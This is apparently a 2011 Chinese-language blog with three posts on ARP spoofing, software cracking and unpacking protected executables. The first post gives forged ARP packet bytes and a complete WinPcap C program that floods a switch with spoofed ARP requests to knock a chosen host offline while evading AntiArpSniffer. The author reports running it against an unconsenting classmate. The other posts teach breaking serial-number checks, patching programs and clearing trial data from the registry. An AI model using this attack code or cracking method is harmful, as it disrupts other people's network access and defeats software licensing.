2011年5月25日 星期三

ARP欺騙 自己動手DIY

前段時間我們學校的的網路總是出現掉線的問題,後來說是ARP欺騙,要我們用ANTIARPSNIFFER。小弟不才,

也想搞清楚這個ARP欺騙到底是個什麼東西。於是在網上查了點資料,看了點文檔。也算是DIY了一個出來,而

且可以不被ANTIARPSNIFFER發現的讓對方主機在網路中死掉。於是把這個小東西貼出來讓大家一起把玩一下。
   在下菜鳥一隻,還請高手指教
參考資料:《TCP/IP詳解II:實現》,《WINPCAP 3.0 DOC》,《切換式網路中的嗅探和ARP欺騙》(一位叫RefDom

的大哥很久前寫的帖子)

   一般在局域網中的各主機一般都是連接到同一個交換機(或是HUB),再由交換機連接路由器,路由器再與

相對於該局域網的外部網路相連。在我們的主機和交換機的記憶體中,都保留著一張ARP的緩存表(你可以在cmd

下用arp -a來查看),它記錄著IP位址和MAC位址的對應關係。當外部網路的一個包傳進來,交換機通過這個包

的IP位址,在他的ARP緩存表中查找其對應的MAC位址(因為交換機是工作在鏈路層的,所以他只會根據MAC位址

來判斷是哪個主機),當找到時,他就把這個包傳給擁有這個MAC位址的主機。當主機向外部網路通信的時候,

主機查詢自己的ARP緩存表裡閘道(在這裡就是交換機)(這個閘道是用IP位址確定的)的MAC位址,然後將包

傳給交換機,交換機一看是它的MAC位址,就把這個包往上傳給路由器。
   我們可以把IP比做姓名,把MAC位址比做聯繫方式
   當主機連接上網路時,他會發送一個廣播(ARP REQUEST)說:大家好,我是IP xxx,這是我的MAC位址aaa,

大家以後用他聯繫,叫IP YYY的閘道大哥的MAC地址是多少啊 ,小弟以後找還要拜託大哥了,記個聯繫方式先~
   然後閘道IP YYY告訴IP XXX說(ARP REPLY):我就是閘道IP XXX,我已經記下了你IP和你的MAC地址,我的

MAC地址是ccc,以後有事聯繫,別客氣~

   現在,假如出現了一些不明原因的錯誤,主機A中的arp緩存表中閘道IP YYY對應的MAC地址不是閘道的,而

是另一台主機B的(BBB),那麼當主機A發送了一個包時,他查詢自己的ARP緩存表,把主機B的MAC位址填在了

閘道的地方,然後把包發了出去,交換機一看這個MAC地址,心想這不是給我的小弟B的嗎,於是把這個包發給

了內網中的B,而主機A卻不知道這個包已經迷失在了網路中。
  再假設另一個錯誤,現在主機中的arp緩存表沒錯,而交換機的緩存錯了,主機A的IP對應的MAC位址上填的是

主機B的!,那麼當外部網路的一個發給主機A的包到達交換機的時候,交換機查自己的ARP緩存表,一看這個IP

(A的)對應了自己內網中一個主機的MAC位址 (B的),於是就把這個包傳給了擁有這個MAC位址的B,而不是A


   另外還有一點很重要的是,ARP協定中,無論主機A有沒有REQUEST或是已經收到了REPLY,當再有REPLY來的

時候,它都會記下這個REPLY中的資訊,並更新自己的ARP緩存。同樣交換機,也只要是有主機發送ARP REQUEST

,他就會記下這個資訊,並更新自己的ARP緩存,而不會管這個請求是對是錯

   原諒我說了這麼多晦澀的話,但這決不是廢話,因為所謂的arp欺騙就是將上面所說的兩個錯誤人為的造成


  第一種欺騙方法:欺騙主機A說,我是閘道IP YYY,我的MAC地址改成BBB了,於是主機A就出現了我們剛說的

第一種情況的錯誤。
  第二種欺騙方法:欺騙交換機說,我是主機A IP XXX,我的MAC地址是BBB,於是交換機出現了我們說的第二

種情況的錯誤。

  既然要騙人家,就要讓別人相信你說的是真的,首先我們要符合ARP包的格式,另外我們要讓該真的地方真,

這樣別人才會相信你說的假話。
  先來看下ARP包是個什麼樣的(TCP/IP詳解II圖21-7有詳細說明,大家可以查查看)
 typedef struct ethhdr               //乙太網頭部,長度14
{
  unsigned char dst[6];       //目的的MAC位址
  unsigned char src[6];       //源的MAC地址
  unsigned short type;        //框架類型
}ETHHDR,*PETHDHR;

typedef struct eth_arphdr           //乙太網arp欄位長度28
{
  unsigned short arp_hrd;     //硬體類型
  unsigned short arp_pro;     //協議類型
  unsigned char  arp_hln;     //硬體位址長度(6)
  unsigned char  arp_pln;     //協議位址長度(4)
        unsigned short arp_op;      //回應還是請求
 
  unsigned char arp_sha[6];   //發送者MAC地址
  unsigned long arp_spa;      //發送者IP
  unsigned char arp_tha[6];   //接收者MAC地址
  unsigned long arp_tpa;      //接收者IP
}ETH_ARPHDR,*PETH_ARPHDR;

typedef struct arp                  //整個ARP包的結構
{
    ETHHDR ethhdr;
    ETH_ARPHDR eth_arp;
}ARP,*PARP;  


  現在我們再來看下arp request 和arp reply到底是個什麼樣子。
  我打開了winpcap devlopment pack中的一個例副程式TestApp,他帶有很簡單的嗅探功能,然後我用
arp -d 10.10.63.254(我的閘道IP地址),清除了我的ARP緩存表中閘道的記錄,過一下,我再用arp -a查看自

己的緩存表,閘道的IP,MAC又寫上來了,這說明一次REQUEST和REPLY已經完成。於是,我在TestApp的輸出中

找到了他們的包的記錄:
我的IP地址是10.10.63.37(即0a 0a 3f 25),MAC地址是00 20 ED 89 53 B9
我的閘道的IP地址是10.10.63.254(即0a 0a 3f fe),MAC地址是00 11 5d ac e8 00

request的:長度42
    FF FF FF FF FF FF 00 20 ED 89 53 B9 08 06 00 01 08 00 06 04 00 01 00 20 ED 89 53 B9 0A 0A 3F 

25 00 00 00 00 00 00 0A 0A 3F FE
reply的:  長度60
    00 20 ED 89 53 B9 00 11 5D AC E8 00 08 06 00 01 08 00 06 04 00 02 00 11 5D AC E8 00 0A 0A 3F 

FE 00 20 ED 89 53 B9 0A 0A 3F 25 00 00 00 00 00....(後面都是用0填充)
 
好了根據這兩個包,我們就能構造惡意的REQUEST和REPLY,假如我們要讓一台內網中的主機C消失,假設他的IP

是10.10.63.123,MAC位址是11 22 33 44 55 66那麼我們可以這樣來構造包(我們使用一個偽造的MAC位址,比

如是AA BB CC DD EE FF
惡意的request:長度42
    FF FF FF FF FF FF AA BB CC DD EE FF 08 06 00 01 08 00 06 04 00 01 AA BB CC DD EE FF 0A 0A 3F 

7B 00 00 00 00 00 00 0A 0A 3F FE
當交換機接受了這個請求並更新了自己的ARP緩存後,任何發給10.10.63.123的包都會轉發到MAC位址是
AA BB CC DD EE FF的主機(假如這個主機才內網中存在的話)
惡意的reply :長度60
    11 22 33 44 55 66 AA BB CC DD EE FF 08 06 00 01 08 00 06 04 00 02 AA BB CC DD EE FF 0A
0A 3F FE 11 22 33 44 55 66 0A 0A EF 7B 00 00 00 00 00.....(後面用0填充)
當主機接受到了這個包,並更新了自己的ARP緩存後,他所發的任何包都會轉發給擁有這個MAC位址的主機(同

上,這個主機必須存在)。
   現在假如交換機和主機都被欺騙了,於是就出現了這樣的一個情況:主機A和其他主機或是外部網路的一切

通信就都會傳給這個偽造MAC的主機,而如果這個主機再將這些包轉發給原來的接收方的話,他就成了THE 

MIDDLE MAN,而這種方式也正是交換機網路中的嗅探原理了。有興趣的話,大家也可以寫個試試~

   現在回到我們的話題上來,當我們自己的網路中出現了類似的欺騙的時候,我們應該怎麼防範?很多人估計

都會想到用專門的軟體,比如ANTIARPSNIFFER3.0,這個軟體實際是將閘道的IP位址和MAC位址的對應關係綁定

,當接受到一個ARP REPLY時他會查看這個包中發送方的IP和MAC位址,如果IP是閘道的,而MAC地址不是,那他

就認為這是個ARP欺騙,於是記錄這個假的MAC位址(當然我們可以偽造,如果你想架禍人的話,也可以填別人

的...,但如果你是想嗅探(即是你自己的MAC地址),那麼你可能會在某天被一群人抓出去暴打一頓...,為什

麼我們生活的世界這麼暴力,不能和平解決呢?額...我請大哥們吃頓飯怎麼樣??)
   ANTIARPSNIFFER可以有效的阻止發送給主機的欺騙REPLY,但他無法阻止發送給交換機的欺騙REQUEST,因此

也就無法捕獲惡意攻擊者的MAC位址,所以我個人認為站在攻擊的角度,第二種欺騙方式要比第一種來的更加有

效和不易被發現,畢竟誰的會關注自身的安全,卻往往忽視社會整體的安全隱患....要想解決這個問題,就必

須把交換機的ARP緩存設為靜態(即將IP和MAC的對應關係鎖死)(使用ARP -S)來解決。然而,對於主機使用

DHCP動態獲取IP的網路(比如我們學校的網路),由於IP與MAC位址無法在長時間內保持一致,因此交換機的

ARP緩存表必須是可更新的(即動態),於是對於這種網路,發送欺騙REQUEST給交換機的攻擊方式將是無法解

決的....
   也正因為此,我所編寫的一個測試程式是基於第二種攻擊方式(即發送加的ARP REQUEST請求給交換機)。

由於是測試程式,我把一切可能出錯的部分都做了最簡化以方便調試,程式相當簡陋,不過仍然很有效。
另外要說明的是,我安裝了WINPCAP 3.0(一個OPEN SOURCE的網卡驅動專案)和他的開發包。並參考了WINPCAP
DOC中的程式和RefDom大哥在帖子裡的程式,當然還有偉大的W.Richard.Stevens的《TCP/IP詳解II實現》第21



/////////////////////////////////////////////////////////////////////////////
//    arp attacker
//    author:enolaZ
//    e-mail:enolaz@126.com
/////////////////////////////////////////////////////////////////////////////
#include<stdio.h>
#include"packet32.h"
#include<winsock2.h>
#pragma comment(lib,"ws2_32")
#pragma comment(lib,"packet")

#define EPT_ARP 0x0806                //定義了一些在構造包的時候要用到的常量
#define EPT_IP 0x0800
#define ARP_HARDWARE 0X0001
#define ARP_REPLY 0x0002
#define ARP_REQUEST 0x0001

#pragma pack(push,1)                //在定義結構的時候一頂要用到pack(push,1)和下麵的pack(pop)
                                    //否則你構造的結構的長度會有問題

typedef struct ethhdr               //乙太網頭部,長度14
{
  unsigned char dst[6];       //目的的MAC位址
  unsigned char src[6];       //源的MAC地址
  unsigned short type;        //框架類型
}ETHHDR,*PETHDHR;

typedef struct eth_arphdr           //乙太網arp欄位長度28
{
  unsigned short arp_hrd;     //硬體類型
  unsigned short arp_pro;     //協議類型
  unsigned char  arp_hln;     //硬體位址長度(6)
  unsigned char  arp_pln;     //協議位址長度(4)
        unsigned short arp_op;      //回應還是請求
 
  unsigned char arp_sha[6];   //發送者MAC地址
  unsigned long arp_spa;      //發送者IP
  unsigned char arp_tha[6];   //接收者MAC地址
  unsigned long arp_tpa;      //接收者IP
}ETH_ARPHDR,*PETH_ARPHDR;

typedef struct arp                  //整個ARP包的結構
{
  ETHHDR ethhdr;
    ETH_ARPHDR eth_arp;
}ARP,*PARP;

#pragma pack(pop)

#define Max_Num_Adapter 10

char        AdapterList[Max_Num_Adapter][1024];  //定義的網路介面卡列表

int main (int argc,char* argv[])
{
  LPADAPTER  lpAdapter = 0;               
  LPPACKET   lpPacket;
  int        i;
  DWORD      dwErrorCode;
  WCHAR     AdapterName[8192]; 
  WCHAR     *temp,*temp1;                 //將AdapterNames的內容轉存到AdapterList時用
  int     AdapterNum=0;
  ULONG     AdapterLength;
  ARP arpPacket;                           //定義的包結構實例
  char szPktBuf[256000];                   //用於存放包的內容


        printf("%d\n",sizeof(ETHHDR));           //這3行是我在測試結構長度時用的,如果沒有使用之
  printf("%d\n",sizeof(ETH_ARPHDR));       //前說的pack(push,1),pack(pop)長度就成了14,32
  printf("%d\n",sizeof(ARP));              //48,與我們的arp包的格式不符
  i=0;  
  AdapterLength = sizeof(AdapterName);
  if(PacketGetAdapterNames((char *)AdapterName,&AdapterLength)==FALSE)//獲取所有網路介面卡
  {
    printf("Unable to retrieve the list of the adapters!\n");
    return -1;
  }
  temp=AdapterName;
  temp1=AdapterName;
  while ((*temp!='\0')||(*(temp-1)!='\0'))          //將AdapterNames的內容轉存到AdapterList
  {
    if (*temp=='\0') 
    {
      memcpy(AdapterList[i],temp1,(temp-temp1)*2);
      temp1=temp+1;
      i++;
    }
    temp++;
  }
    
  AdapterNum=i;
  for (i=0;i<AdapterNum;i++)
    wprintf(L"\n%d- %s\n",i+1,AdapterList[i]); //輸出獲得的所有網路介面卡
  printf("\n");  
  
  lpAdapter =   PacketOpenAdapter(AdapterList[0]);   //得到對應網路介面卡的_Adapter結構,我  

                                                           //就一個當然是0了  
  if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
  {
    dwErrorCode=GetLastError();
    printf("Unable to open the adapter, Error Code : %lx\n",dwErrorCode); 
    return -1;
  }  

        lpPacket=PacketAllocatePacket();                       //得到一個包的_Packet結構
  if(lpPacket==NULL)
  {
    printf("alloc lppacket failed");
    return -1;
  }

        ZeroMemory(szPktBuf,sizeof(szPktBuf));                //將包的緩存區清空

  arpPacket.ethhdr.dst[0]=0xff;                     //開始填充包結構arpPacket
        arpPacket.ethhdr.dst[1]=0xff;
  arpPacket.ethhdr.dst[2]=0xff;
  arpPacket.ethhdr.dst[3]=0xff;
  arpPacket.ethhdr.dst[4]=0xff;
  arpPacket.ethhdr.dst[5]=0xff;

  arpPacket.ethhdr.src[0]=0x00;                     //一個偽造的MAC位址
        arpPacket.ethhdr.src[1]=0x20;
  arpPacket.ethhdr.src[2]=0xce;
  arpPacket.ethhdr.src[3]=0xa8;
  arpPacket.ethhdr.src[4]=0x54;
  arpPacket.ethhdr.src[5]=0x33;

  arpPacket.ethhdr.type=htons(EPT_ARP);
  arpPacket.eth_arp.arp_hrd=htons(ARP_HARDWARE);
  arpPacket.eth_arp.arp_pro=htons(EPT_IP);
  arpPacket.eth_arp.arp_hln=6;
  arpPacket.eth_arp.arp_pln=4;
  arpPacket.eth_arp.arp_op=htons(ARP_REQUEST);

  arpPacket.eth_arp.arp_sha[0]=0x00;                    //仍然是假的MAC地址
  arpPacket.eth_arp.arp_sha[1]=0x20;
  arpPacket.eth_arp.arp_sha[2]=0xce;
  arpPacket.eth_arp.arp_sha[3]=0xa8;
  arpPacket.eth_arp.arp_sha[4]=0x54;
  arpPacket.eth_arp.arp_sha[5]=0x33;
  arpPacket.eth_arp.arp_spa=inet_addr("10.10.63.123");   //冒充對象的IP

        arpPacket.eth_arp.arp_tha[0]=0x00;
  arpPacket.eth_arp.arp_tha[1]=0x00;
  arpPacket.eth_arp.arp_tha[2]=0x00;
  arpPacket.eth_arp.arp_tha[3]=0x00;
  arpPacket.eth_arp.arp_tha[4]=0x00;
  arpPacket.eth_arp.arp_tha[5]=0x00;
  arpPacket.eth_arp.arp_tpa=inet_addr("10.10.63.254");   //閘道IP
        printf("%d\n",sizeof(arpPacket));
  memcpy(szPktBuf,(char*)&arpPacket,sizeof(arpPacket));  
  PacketInitPacket(lpPacket,szPktBuf,60);                
        while(getchar()!='q')                                     //當輸入為q時結束
  {
        if(PacketSendPacket(lpAdapter,lpPacket,true)==false)  //不斷發送偽造資訊,將目標的正確
                                                              //ARP REQUEST淹沒
    {
        printf("error in sending packet");
        return -1;
    }
  }
  printf("send ok");
  PacketFreePacket(lpPacket);        //一點掃尾的工作
  PacketCloseAdapter(lpAdapter);

    return 1;
}

好了,這個異常簡陋的程式結束了,我對我們內部網的某同學測試過,當我程式啟動不久,去他寢室看,他已

經掉線了,而他的AntiArpSniffer卻沒有報警,呵呵這說明攻擊很成功~。
當然要說明的一點是,這個東西完全是研究學習用,沒有惡意,也希望大家不要隨便對別人做壞事,恩恩,為

了學習研究的目的當然可以做一下實驗,但不要太有破壞性哦~(如果你想被一群憤怒的群眾痛打,那我也沒話

說...)。可憐了我那位元實驗物件 ...找個機會請他吃個飯吧~


 


2011年5月20日 星期五

破解10步基本功

下面談到了一些在學習解密過程中經常遇到的問題,本人根據自己的經驗簡單給大家談一談。這些問題對於初學者來說常常是很需要搞明白的,根據我自己的學習經歷,如果你直接照著很多破解教程去學習的話,多半都會把自己搞得滿頭的霧水,因為有很多的概念要麼自己不是很清楚,要麼根本就不知道是怎麼一回事,所以希望通過下面的討論給大家一定的幫助: 




1. 
中斷點:所謂中斷點就是程式被中斷的地方,這個詞對於解密者來說是再熟悉不過了。那麼什麼又是中斷呢?中斷就是由於有特殊事件(中斷事件)發生,電腦暫停當前的任務(即程式),轉而去執行另外的任務(中斷服務程式),然後再返回原先的任務繼續執行。打個比方:你正在上班,突然有同學打電話告訴你他從外地坐火車過來,要你去火車站接他。然後你就向老闆臨時請假,趕往火車站去接同學,接著將他安頓好,隨後你又返回公司繼續上班,這就是一個中斷過程。我們解密的過程就是等到程式去獲取我們輸入的註冊碼並準備和正確的註冊碼相比較的時候將它中斷下來,然後我們通過分析程式,找到正確的註冊碼。所以我們需要為被解密的程式設置中斷點,在適當的時候切入程式內部,追蹤到程式的註冊碼,從而達到crack的目的。 



2. 
領空:這是個非常重要的概念,但是也初學者是常常不明白的地方。我們在各種各樣的破解文章裡都能看到領空這個詞,如果你搞不清楚到底程式的領空在哪裡,那麼你就不可能進入破解的大門。或許你也曾破解過某些軟體,但那只是瞎貓碰到死老鼠而已(以前我就是這樣的^_^,現在說起來都不好意思喔!)。所謂程式的領空,說白了就是程式自己的地方,也就是我們要破解的程式自己程式碼所處的位置。也許你馬上會問:我是在程式運行的時候設置的中斷點,為什麼中斷後不是在程式自己的空間呢?因為每個程式的編寫都沒有固定的模式,所以我們要在想要切入程式的時候中斷程式,就必須不依賴具體的程式設置中斷點,也就是我們設置的中斷點應該是每個程式都會用到的東西。在DOS時代,基本上所有的程式都是工作在中斷程式之上的,即幾乎所有的DOS程式都會去調用各種中斷來完成任務。但是到了WINDOWS時代,程式沒有權力直接調用中斷,WINDOWS系統提供了一個系統功能調用平臺(API),就向DOS程式以中斷程式為基礎一樣,WINDOWS程式以API為基礎來實現和系統打交道,從而各種功能,所以WINDWOS下的軟體破解其中斷點設置是以API函數為基礎的,即當程式調用某個API函數時中斷其正常運行,然後進行解密。例如在SOFTICE中設置下麵的中斷點:bpx GetDlgItemText(獲取對話方塊文本),當我們要破解的程式要讀取輸入的資料而調用GetDlgItemText時,立即被SOFTICE攔截到,從而被破解的程式停留在GetDlgItemText的程式區,而GetDlgItemText是處於WINDWOS自己管理的系統區域,如果我們擅自改掉這部分的程式碼,那就大禍臨頭了^_^!所以我們要從系統區域返回到被破解程式自己的地方(即程式的領空),才能對程式進行破解,至於怎樣看程式的領空請看前面的SOFTICE圖解。試想一下:對於每個程式都會調用的程式段,我們可能從那裡找到什麼有用的東西嗎?(怎麼樣去加密是程式自己決定的,而不是調用系統功能實現的!) 



3. API
:即Application Programming Interface的簡寫,中文叫應用程式設計發展介面,是一個系統定義函數的大集合,它提供了訪問作業系統特徵的方法。 API包含了幾百個應用程式調用的函數,這些函數執行所有必須的與作業系統相關的操作,如記憶體分配、向螢幕輸出和創建視窗等,使用者的程式通過調用API介面同WINDOWS打交道,無論什麼樣的應用程式,其底層最終都是通過調用各種API函數來實現各種功能的。通常API有兩中基本形式:Win16Win32 Win16是原來的、API16位版本,用於Windows 3.1Win32是現在的、API32位版本,用於Windows 95/98/NT/ME/2000Win32包括了Win16,是Win16的超集合,大多數函數的名字、用法都是相同的。16位元的API函數和32位元的API函數的區別在於最後的一個字母,例如我們設置這樣的中斷點:bpx GetDlgItemTextbpx GetDlgItemTextAbpx GetDlgItemTextW,其中 GetDlgItemText16位元API函數,GetDlgItemTextAGetDlgItemTextW32位元API函數,而GetDlgItemTextA表示函數使用單字節,GetDlgItemTextW表示函數使用雙位元組。現在我們破解中常用到的是Win32單字節API函數,就是和GetDlgItemTextA類似的函數,其它的兩種(Win16 APIWin32雙位元組API函數)則比較少見。 Win32 API函數包含在動態連結程式庫(Dynamic Link Libraries,簡稱DLLs)中,即包含在kernel32.dlluser32.dllgdi32.dllcomctl32.dll中,這就是為什麼我們要在softice中用exp=C:\windows\system\kernel32.dll等命令列將這些動態連結程式庫導入softice中的原因。因為不這樣做的話,我們就無法攔截到系統Win32 API函式呼叫了。



4. 
關於程式中註冊碼的存在方式:破解過程中我們都會去找程式中將輸入的註冊碼和正確的註冊碼相比較的地方,然後通過對程式的跟蹤、分析找到正確的註冊碼。但是正確的註冊碼通常在程式中以兩種形態存在:顯式的和隱式的,對於顯式存在的註冊碼,我們可以直接在程式所處的記憶體中看到它,例如你可以直接在SOFTICE的資料視窗中看到類似"297500523"這樣存在的註冊碼(這裡是隨意寫的),對於註冊碼顯式存在的軟體破解起來比較容易;但是有些軟體的程式中並不會直接將我們輸入的註冊碼和正確的註冊碼進行比較,比如有可能將註冊碼換算成整數、或是將註冊碼拆開,然後將每一位註冊碼分開在不同的地方逐一進行比較,或者是將我們輸入的註冊碼進行某種變換,再用某個特殊的程式進行驗證等等。總之,應用程式會採取各種不同的複雜運算方式來回避直接的註冊碼比較,對於這類程式,我們通常要下功夫去仔細跟蹤、分析每個程式功能,找到加密演算法,然後才能破解它,當然這需要一定的8086彙編程式設計功底和很大的耐心與精力。 



5. 
關於軟體的破解方式:本人將破解方式分為兩大類,即完全破解和暴力破解。所謂完全破解主要是針對那些需要輸入註冊碼或密碼等軟體來說的,如果我們能通過對程式的跟蹤找到正確的註冊碼,通過軟體本身的註冊功能正常註冊了軟體,這樣的破解稱之為完全破解;但如果有些軟體本身沒有提供註冊功能,只是提供試用(DEMO),或是註冊不能通過軟體本身進行(例如需要獲取另外一個專用的註冊程式,通過INTERNET的註冊等等),或者是軟體本身的加密技術比較複雜,軟體破解者的能力、精力、時間有限,不能直接得到正確的註冊碼,此時我們需要去修改軟體本身的程式碼,即人為改




6. 
關於破解教程中程式碼地址問題:破解教程中都會放上一部分程式碼以説明講解程式的分析方法,例如下面的一段程式碼: 

...... 

0167:00408033
 PUSH 00 

0167:00408035
 PUSH EBX 

0167:00408036
 CALL [USER32!EndDialog] 

0167:0040803C
 JMP 0040812C 

...... 

在這裡程式中的代碼位址如0167:00408033,其程式碼片段的值(即0167)有可能根據不同的電腦會有區別,不一定一模一樣,但偏移值應該是固定的(即00408033不變),所以如果看到破解文章裡的程式碼的地址值和自己的電腦裡不一樣,不要以為搞錯地方了,只要你的程式碼正確就不會有問題。 

7. 
關於如何設置中斷點的問題:正確恰當的設置好中斷點對於快速有效的解密非常重要,好的中斷點設置可以使我們迅速找到關鍵的程式段,而不恰當的中斷點則會對解密造成不必要的精力消耗,甚至根本就不能攔截到程式的運行。但是具體什麼時候用什麼中斷點比較合適很難說,這需要自己用經驗去累積,總的說來bpx hmemcpy這個萬能中斷點對大多數註冊碼方式的軟體都有用,初學者不妨多試試這個中斷點(通常我也是用這個中斷點設置,懶嘛^_^,哈哈。。。)。對於那些需要暴力破解的非註冊碼方式的軟體,通常我們應該攔截對話方塊(如bpx DialogBox)和訊息方塊(如bpx MessageBox(A))等。不論對於哪一類軟體,當我們設置的中斷點均沒有效果時,可是試一下bpx lockmytask,這個中斷點的作用是攔截任何一個按鍵的動作,具體常用的一些中斷點設置請參考"破解常用中斷點設置"一文。另外,在註冊碼的破解中通常需要輸入用戶名和註冊碼,一般說來用戶名和密碼都可以隨意輸入,但是根據我自己的經驗,很多軟體對於註冊碼都會逐位元的進行處理,假如輸入"78787878"這串數位,那麼在跟蹤程式的時候我們就無法知道我們當時所看到的"78"倒底是哪一個"78",所以我比較喜歡用"12345678"這樣的註冊碼輸入方式,這樣的話就就能知道程式是在對註冊碼的哪一位進行運算,同樣的對於那些需要輸入較長序號的軟體,輸入類似"12345-67890-ABCDEF"這樣的序號較好。 不過有一點大家需要特別的注意:上面講的註冊碼輸入方式"12345678"是針對攔截WIN32 API函數來說的,假如有些時候直接攔截WIN32 API函數難以找到程式的突破口,而要借助於"S"指令在記憶體中尋找我們輸入的用戶名或註冊碼時,就最好不要採用"12345678"作為註冊碼,因為記憶體中很可能有許多的"12345678"字串,這樣我們沒有辦法知道倒底我們要破解的程式使用的是哪一個"12345678",所以我們應該選擇一個不易和記憶體資料相同的註冊碼,比如:74747474(本人喜歡用,意思嘛:去死去死。。。哈哈哈^_^),對應的搜索指令為: S 30:0 L FFFFFFFF '74747474' 。當然,以上只是我個人的習慣而已,具體用什麼樣的輸入形式可以根據本人的愛好、習慣來定,不必拘泥於某一固定的模式。



8. 
關於如何跟蹤程式的問題:初學者在開始學習解密的時候往往不知道怎麼樣去跟蹤程式,怎麼樣找到註冊碼比較的地方,當面對長長的一堆程式碼時顯得不知所措。通常軟體的程式內部都會利用一個子程式(即 CALL ********)去驗證我們輸入的註冊碼正確與否,對於註冊碼顯式存在的程式,一般都會將所輸入的註冊碼和正確的註冊碼放進寄存器,然後調用驗證副程式進行判斷,將結果返回,應用程式根據副程式返回的結果決定是否註冊成功,這樣的程式經常具有如下的形式: 

****:********
 MOV EAX,[********]  (或 PUSH EAX等形式) 

****:********
 MOV EDX,[********]  (或 PUSH EDX等形式) 

****:********
 CALL ******** 

****:********
 TEST EAX,EAX     (或 TEST AL,AL,或是沒有這一句等形式) 

****:********
 JNZ ********     (或 JZ ********等形式) 

其中EAXEDX指向的記憶體區域就是我們輸入的註冊碼和正確的註冊碼,這裡的寄存器EAXEDX是隨意寫的,也可以是ECXEBXEDIESI等等。對於註冊碼隱式存在的程式,雖然不能直接看到正確的註冊碼,但是通常也是先將所輸入的註冊碼位址放進某個寄存器,然後調用副程式去驗證,破解時就需要進入副程式去分析註冊演算法。總之,看到副程式(call ********)後面跟著跳轉指令(JNZ ********JZ ********)的地方我們就應該提高警惕,多用 D EAX(或EBXECXEDXEDIESI...等)去看看寄存器指向的記憶體區域藏著什麼東西。有一點大家要提醒大家:看見程式中使用下面這個函數是要注意,即GetDlgItenInt,這個API函數的作用是將輸入的文本轉化為整數,所以這類程式中是不會有顯示存在的註冊碼的,因為註冊碼被轉換為整數了,程式通常會用CMP ECX,EDX 這種類型的指令去驗證註冊碼的正確性,這裡ECXEDX中存的就是所輸入註冊碼和正確註冊碼的整數形式,此時可以用 ? edx  ? ecx 看到其十進位形式,即我們輸入的形式。 



9. 
關於軟體的反安裝問題:經常我們使用某些軟體時都會遇到一個問題,就是共用軟體過期之後即使刪掉原程式重新安裝,程式依然不能用,還是一樣提醒你試用期已過請註冊;或者是你已經破解了某個軟體,但是還想繼續研究它,但是因為軟體已經註冊好,沒有了註冊選項,這時你即使徹底刪掉程式再重新安裝軟體,結果程式運行後還是註冊過的。遇到這樣的情況,其實原因很簡單,因為程式將註冊或過期資訊存在了系統登錄裡,所以簡單的重新安裝軟體是無濟於事的。解決的辦法就是自己刪掉註冊表中有關的資訊,但是因為註冊表是WINDOWS系統工作的基礎,如果不小心就很可能會損壞它而引起系統異常,所以如果你對註冊表不是很熟的話,應該在修改之前備份一下註冊表。不論是修改還是備份註冊表都可以使用WINDOWS下的註冊表管理工具"REGEDIT"來進行,一種辦法是在"開始->運行"下輸入"regedit"啟動它,也可以直接點擊"C:\WINDOWS\regedit.exe"來運行。大部分的應用軟體都會將自己的資訊存在如下的路徑中:HKEY_LOCAL_MACHINE\SoftwareHKEY_LOCAL_MACHINE\Software\MicrosoftHKEY_CURRENT_USER\SoftwareHKEY_CURRENT_USER\Software\Microsoft  HKEY_USERS\.DEFAULT\Software下,具體是哪個地方依據不同的程式而有所不同,只要按上面的順序肯定能找到有關應用程式的鍵,然後將和用戶名及註冊碼有關的鍵值刪掉就搞定了。 



10. 
關於破解練習的問題:學習破解需要大量的練習,對於破解目標的選擇,初學者不宜以大型的、著名的軟體為目標,因為這些軟體通常加密較為複雜,破解不易,應該選擇一些比較不出名的、小型的和早些時候的共用軟體來練習,因為加密相對簡單的軟體有利於初學者快速掌握破解思想和技能。至於習題的來源則很廣泛,可以從網上下載,也可以去市面上購買一些共用軟體光碟。


2011年5月19日 星期四

新手學習脫殼的入門篇

    

細細回憶,學習Crack技術已經快2個月了,期間我學會的東西遠比我以前任何一年內學的東西都多(專指電腦程式及系統瞭解情況 



說到學脫殼也是最近一個月的時間,開始總是到處詢問學習脫殼的方法,大多的答案就是看雪老大的書,誰也沒有正面回答過.於是就自己摸索,略有一點思路,老大們估計是認為理所當然,對於我們小菜來說還是說白了比較合適 

在這裡我就班門弄斧一回,其實主要也是幫助一些朋友能更快的摸到門,不至於對只會照貓畫虎,這些也是我當初我想問的那些問題的答案,都是些很基礎的東西,說得不好還請高手指正 



在此感謝看雪老大提供了如此之好論壇供大家學習交流,還寫了一本很好的書指導像我這樣的菜鳥,也感謝網上眾多高手貢獻出自己的脫殼手記,特別感謝heXer老大對本菜鳥的細心指點 



順便說一句,脫殼特別需要的是興趣和耐心,如果沒有耐心就......;)  



廢話了一堆,我們下面進入正題:)  

結合娃娃Wom的新KG說說一般面對一個殼的簡單分析方法  



一、找OEP  

脫殼的一般流程是:查殼->尋找OEP->Dump->修復  

查殼沒什麼好說的,FIPEiD,不幸的是FIPEiD都不能識別出這個殼:)  



我找OEP的一般思路如下:  

    
先看殼是加密殼還是壓縮殼,壓縮殼相對來說容易些,一般是沒有異常,找到對應的popad後就能到入口,跳到入口的方式一般為  

1
    jmp OEP  

2
    push OEP  

      ret  

3
    call OEP  

當然也有其他的,如 je OEP等等,一般都是段之間的大跳轉,OD的反彙編視窗裡都是同一個段的內容,所以更好區別是否是段間跳轉  

    
『這裡我說說關於F8(Step Over)F7(Step in)的一般方法,粗跟的時候一般都是常用F8走,但是有些call是變形的Jmp,此時就需要F7代過,區別是否是變形Jmp的一個簡單方法是比較call的目標位址和當前位址,如果兩者離的很近,一般就是變形Jmp了,用F7   

    
對於加密殼,我的方法一般是用OD載入,鉤掉所有異常(不忽略任何異常,有時由於異常過多可以適當忽略一些異常),運行,數著用了多少次Shift+F9程式運行,顯然最後一次異常後,程式會從殼跳到OEP開始執行,這就是我們尋找OEP的一個關鍵,而對於這個殼可知是加密殼,Shift+F9 16次後運行,重來,Shift+F1 15次後到這  

0042CBD3  ^73 DC              jnb short kill_luj.0042CBB1  

0042CBD5    CD 20              int 20  

0042CBD7    64:67:8F06 0000    pop dword ptr fs:[0]  <---
這裡  

一般的處理方法是找到pop fs:[0]處下中斷點或者是[esp+4]處下中斷點,如果學習一下SEH的處理會更好些  

0012FF58  0012FFE0  Pointer to next SEH record  

0012FF5C  0042CBB7  SE handler            <---
這裡一般包含Anti-Debug的代碼  

0012FF60  0042CB8A  RETURN to kill_luj.0042CB8A from kill_luj.0042CB90  

我首選第一種,0042CBD7處下斷之後,耐心的用F7,因為變形call太多了...,關鍵注意一下往回跳的跳轉,尋找合適的位置跳出迴圈,有耐心的話你就能這樣走到OEP;)  

